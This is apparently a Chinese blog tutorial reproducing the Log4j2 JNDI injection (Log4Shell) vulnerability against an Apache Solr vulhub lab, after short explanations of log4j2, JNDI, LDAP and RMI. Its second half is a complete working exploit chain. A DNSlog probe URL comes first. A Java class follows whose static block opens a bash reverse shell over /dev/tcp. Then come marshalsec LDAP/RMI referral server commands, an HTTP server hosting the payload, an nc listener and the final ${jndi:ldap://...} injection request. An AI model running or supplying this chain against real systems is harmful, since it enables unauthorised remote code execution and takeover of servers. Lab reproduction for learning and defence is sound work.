声明:部分内容来源于网络,如若侵权请联系删除
什么是log4j2?
Log for Java,Apache的开源日志记录组件,是一个Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

什么是JNDI?

JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是Java命名和目录服务的API,它提供了一种统一的方式来访问不同的命名和目录服务,比如LDAP(轻量级目录访问协议)和DNS(域名系统)。通过JNDI,Java应用程序可以通过统一的接口访问各种不同的命名和目录服务,而无需关心底层服务的具体实现细节

在这里插入图片描述

什么是LDAP?
轻量级目录访问协议(Lightweight Directory Access Protocol)是一种用于访问和维护分布式目录服务的协议。
目录服务是企业专属的统一身份数据库,区别于存储订单、流水的业务数据库,它专门存放员工账号、密码、部门、权限等相对固定的身份信息,并以树形架构整理存储。
LDAP是通用的通信协议,规范了各类内网系统与目录服务器的交互规则。OA、业务系统、企业邮箱等所有内网应用,都可通过LDAP协议连接服务器,读写、校验用户身份与权限数据。
这就是单点登录的核心原理:企业只需在LDAP服务器录入一次员工账号信息,无需为每个系统单独建号。用户登录任意内网系统时,系统都会通过LDAP统一校验账号密码和权限,验证通过即可登录。
LDAP打通了各系统的数据壁垒,实现多系统共用一套身份数据,既支持一号多登的便捷登录方式,也方便企业集中管控员工账号与权限,大幅简化了企业身份管理工作。

什么是rmi?
RMI 全称远程方法调用(Remote Method Invocation),是 Java 专属的远程通信技术,核心作用是让一台电脑的 Java 程序,可以直接调用另一台远程电脑的 Java 功能。

漏洞原理:
该漏洞源于 Log4j2 日志组件支持 ${} 格式表达式解析,自带 JNDI 命名查询能力。攻击者将包含 jndi 协议的恶意载荷注入可被日志记录的用户输入中,程序打印日志时会识别并触发 JNDI 请求,主动访问攻击者搭建的恶意服务地址,远程加载恶意 Java 类文件并执行其中代码,最终实现无授权远程代码执行攻击。
在这里插入图片描述

vulhub靶场复现
访问靶场环境
在这里插入图片描述
1.第一步手工验证log4j漏洞是否存在
DNSlog生成临时域名,这里的目的是为了验证JNDI注入是否存在,也就是漏洞是否存在
在这里插入图片描述
以我这个为例,访问这个接口。自己复现dnslog的域名记得修改

http://192.168.85.132:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.bquj3t.dnslog.cn}

在这里插入图片描述
在这里插入图片描述
出现记录证明存在开始准备复现环境
1.含恶意java代码的class文件
2.开启一个ldap/rmi服务
3.开启一个http服务存放恶意class文件,使用这个软件marshalsec
4.开启一个监听,用来反弹连接

第一步
准备恶意脚本
脚本里面执行了一个反弹连接,注意复现时修改ip和端口

import java.lang.Runtime;
import java.lang.Process;
 
public class hack {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.85.132/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
       
        }
    }
}

然后编译一下成.class文件,注意jdk版本(作者jdk版本1.8.0_91")
Log4j2 版本:2.0‑beta9 ~ 2.14.1(含)
JDK 版本(必须低于):
Java 6:低于 6u211
Java 7:低于 7u201
Java 8:低于 8u191
Java 11:低于 11.0.1
然后自己本机javac版本要和靶场一致,不然失败
本靶场是jdk1.8.0_102 所以你的javac版本只要是低于jdk1.8.0_191就行

java -version
javac -version

在这里插入图片描述
第二步
开启ldap或者rmi服务任选其一

ldap:

#地址是你开启http服务的地址和端口,一般本机ip+8000端口 在后面是ldap服务的端口号
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.LDAPRefServer "http://10.9.18.253:8000/#hack" 7365

rmi:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://10.9.117.109:8000/#hack" 7365

这里以ldap为例
在这里插入图片描述

第三步
准备http服务然后放入自己的恶意脚本
自己进入恶意脚本的目录然后执行

python -m http.server

在这里插入图片描述
第四步
开启反弹连接的监听,脚本是6666端口,咱们就监听这个
在kali执行(或者本地下载一个netcat,前往https://blog.csdn.net/muriyue6/article/details/107127217)
在这里插入图片描述

nc -lvp 6666

复现环节
现在准备工作结束,开始漏洞利用
http://192.168.85.132:8983/solr/admin/cores?action=${jndi:ldap://10.9.18.253:7365/hack}
向这个接口传参后
我们的ldap和http服务都显示出访问日志代表利用成功
在这里插入图片描述
在这里插入图片描述
回头看我们的代码被执行了,成功反弹shell
在这里插入图片描述
到此就复现结束了。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐